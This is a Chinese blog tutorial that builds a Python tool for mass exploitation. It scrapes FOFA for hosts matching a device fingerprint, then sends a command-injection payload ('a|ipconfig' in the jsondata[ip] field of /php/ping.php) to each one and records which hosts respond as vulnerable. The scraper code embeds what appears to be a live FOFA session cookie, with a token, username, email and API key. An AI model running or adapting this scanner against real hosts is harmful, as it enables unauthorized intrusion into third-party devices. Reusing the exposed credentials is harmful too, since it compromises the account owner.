基于fofa的批量cve漏洞验证爬虫程序开发

漏洞复现

FOFA查询语句:icon_hash=“-1830859634”
该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入,执行任意命令
图片.png
图片.png

fofa指纹搜索

图片.png正常我们是fofa搜指纹,然后一个一个抓包验证

python批量爬取fofa搜索结果

爬虫可以简单理解为模拟成浏览器,取访问爬取数据
一般在请求头里面加上,User-agent,cookie等等,有时候爬取不到信息,可能就是模拟的力度不够大
图片.png

import requests
url='https://fofa.info/result?qbase64=aWNvbl9oYXNoPSItMTgzMDg1OTYzNCI%3D'
header={
    'Cookie':'ga=GA1.1.576012199.1699060653; __fcd=IDlpZX5ieCF7Uc1hehEWf4dU; fofa_token=eyJhbGciOiJIUzUxMiIsImtpZCI6Ik5XWTVZakF4TVRkalltSTJNRFZsWXpRM05EWXdaakF3TURVMlkyWTNZemd3TUdRd1pUTmpZUT09IiwidHlwIjoiSldUIn0.eyJpZCI6MzUxMDc2LCJtaWQiOjEwMDIwMTI0NSwidXNlcm5hbWUiOiJ3b25kZXJmdWxVVVUiLCJleHAiOjE3MDUxMjQ3ODh9.FQocF4DcbG9lWG3kwEFXwxfkZUCxYdn2Mp1saUbir09qjaQhu1rQtXDAeDmVfpbVFsVoA2PJlwmSUu_QngeIVw; user=%7B%22id%22%3A351076%2C%22mid%22%3A100201245%2C%22is_admin%22%3Afalse%2C%22username%22%3A%22wonderfulUUU%22%2C%22nickname%22%3A%22wonderfulUUU%22%2C%22email%22%3A%221569676321%40qq.com%22%2C%22avatar_medium%22%3A%22https%3A%2F%2Fnosec.org%2Fmissing.jpg%22%2C%22avatar_thumb%22%3A%22https%3A%2F%2Fnosec.org%2Fmissing.jpg%22%2C%22key%22%3A%22a283f5e9560c2cadac2cb109d047699a%22%2C%22category%22%3A%22user%22%2C%22rank_avatar%22%3A%22%22%2C%22rank_level%22%3A0%2C%22rank_name%22%3A%22%E6%B3%A8%E5%86%8C%E7%94%A8%E6%88%B7%22%2C%22company_name%22%3A%22wonderfulUUU%22%2C%22coins%22%3A0%2C%22can_pay_coins%22%3A0%2C%22fofa_point%22%3A0%2C%22credits%22%3A1%2C%22expiration%22%3A%22-%22%2C%22login_at%22%3A0%2C%22data_limit%22%3A%7B%22web_query%22%3A300%2C%22web_data%22%3A3000%2C%22api_query%22%3A0%2C%22api_data%22%3A0%2C%22data%22%3A-1%7D%2C%22expiration_notice%22%3Afalse%2C%22remain_giveaway%22%3A0%2C%22fpoint_upgrade%22%3Afalse%7D; isRedirectLang=1; is_flag_login=0; befor_router=; is_mobile=pc; baseShowChange=false; viewOneHundredData=false; _ga_9GWBD260K9=GS1.1.1704931338.18.1.1704931584.0.0.0',
    'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
}
resp=requests.get(url=url,headers=header)
page_text=resp.content.decode('utf-8')
print(page_text)

图片.png页面爬出来之后,利用xpath把我们需要的ip地址给爬取下来
图片.png
先看一下网页源代码,是在div=>span=>a=>href
图片.png爬取出ip地址后我们要存到文件中,而且要保证它的顺序,不能乱码
图片.png我们这里的xpath提取出来的其实是列表数据,需要用join方法转成字符串
图片.png图片.png
接下来我们考虑的是批量从fofa获取资产,不局限于第一页,我们看第二页
图片.png这里我们用一个for循环
图片.png
还有一个就是写数据到txt中时,是一个增量数据,需要改一下写入模式为add
图片.png
另外优化的地方,我们如果要拓展其他的指纹来搜索,我们观察一下他搜索的参数
图片.png
其实是一个base64的加密
图片.png
我们把需要base加密的部分再分割一下,加密过后再拼接上去
图片.png

批量验证程序

图片.png
先写验证一个链接的程序
图片.png
图片.png
因为这是一个post请求,所以要设置一下data,我们要转成python能够读取的字典格式
图片.png
很多时候是https的链接,我们需要设置一下参数,忽略掉告警
图片.png
图片.png我们来观察一下这个响应的特征
图片.png图片.png找一下出现漏洞的时候响应数据有哪些共同的特质
首先子网掩码这个255.255肯定是有的,也有一些其他的特征,解码之后可能更加准确
图片.png
批量打开之前的地址文件
图片.png
图片.png
还有一个问题就是很多链接是有问题的,状态码是400,500还有响应超时等等问题
这个时候就需要考虑到程序的健壮性,可以忽略掉报错,持续的运行
图片.png

import requests
with open('test.txt', 'r') as file:
    for line in file:
        url=line.strip()#去除每行空格

        #url ='https://119.188.246.32'
        payload='/php/ping.php'
        all_url=url+payload
        #print(all_url)
        data={
            'jsondata[ip]':'a|ipconfig',
            'jsondata[type]':'1'
        }
        try: 
            resp=requests.post(url=all_url,data=data,verify=False,timeout=10)
            #resp=requests.post(url=all_url,data=data,verify=False)
            # 从响应中获取HTTP状态码
            r_code = resp.status_code
            requests.packages.urllib3.disable_warnings()
            page_text=resp.content.decode('utf-8')
            #print(page_text)
            if '255.255' in page_text:
                print(all_url,'有漏洞')
                all_data=all_url+'\n'
                with open('test_yanzh.txt','a') as fp:
                    fp.write(all_data)
            else:
                print(all_url,'无漏洞')
        # 处理超时异常
        except requests.exceptions.Timeout:
            print(f"{all_url} 请求超时")
        # 处理其他请求相关的异常
        except requests.exceptions.RequestException as e:
            print(f"{all_url} 请求发生异常: {e}")




  • 14
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值